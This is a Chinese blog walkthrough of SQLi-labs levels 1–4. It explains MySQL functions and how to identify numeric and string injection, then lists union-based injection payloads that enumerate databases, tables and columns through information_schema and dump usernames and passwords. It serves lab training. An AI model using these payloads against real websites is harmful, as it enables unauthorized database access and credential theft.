SQLI-LABS Less 1~4

Mysql中部分重要函数

  • goup_concat():将返回一个字符串结果

    即使没有group by,当选定一个列时,Mysql系统会把整个列作为一个group即一个结果返回

    1563983642820.png

  • concat()/concat_ws():返回结果连接为字符串

1563981358798.png

1563981383376.png

  • LEFT/RIGHT(str,len):返回str左/右边n个字符

1564297246784.png

确定数字型和字符型注入

数字型

数字型注入拼接语句一般为select * from <表名> where id = x

x=x' ,程序报错。

x=x and 1=1 时,语句逻辑为真,返回正常结果。

x=x and 1=2 时,语句逻辑为假,返回结果为空。

字符型

字符型注入拼接语句一般为select * from <表名> where id = 'x'

x=x' ,程序报错。

x=x‘ and '1'='1 ,最后的单引号拼接成功,逻辑为真,正常返回

x=x and '1'='2 , 逻辑为假,返回为空

对x=x and 1=1的思考:

在对比字符时,sql会对比到字符串中第一个空格停止,所取字符为空格前的字符

参考连接:https://www.cnblogs.com/Dozeer/p/11257271.html

Less 1

加单引号

得到报错。根据报错提示得知时字符型注入

1'

1563960999707.png

爆列数

得知为3

1' order by 3 --+

1563961048444.png

爆库名

' union select 1,2,database()--+

由于表中不存在前面返回为空,limit 0,1返回结果为后面的查询语句

1563961430667.png

也可以使用

' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

查看当前的所有数据库

1563983831587.png

爆表名

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

或者

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

即 database()='security' (注意双引号,该数据为字符型)

1563984337994.png

爆列名字

' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+

1563985032371.png

爆数据

' union select 1,group_concat(id,'-',username separator ';'),password from users --+

'-' 用于分隔id和username,并用';'作为每一组的分隔符

1563985374363.png

LESS 2

为数值型注入,将LESS前面的 1' 或 ' 换成数值型即可。

LESS 3

输入 1' 得到报错。说明是单引号注入,但用原先方法会报错。

1564029707060.png

所以猜测拼接语句为

1564030484444.png

为字符型拼接,并在单引号后加 ) 即可

LESS 4

输入 1" 得到报错,发现是双引号报错,则把前面单引号字符注入的单引号改为双引号即可,注意后面的括号。

点击查看SQLI-LBAS系列

转载于:https://www.cnblogs.com/Dozeer/p/11259062.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值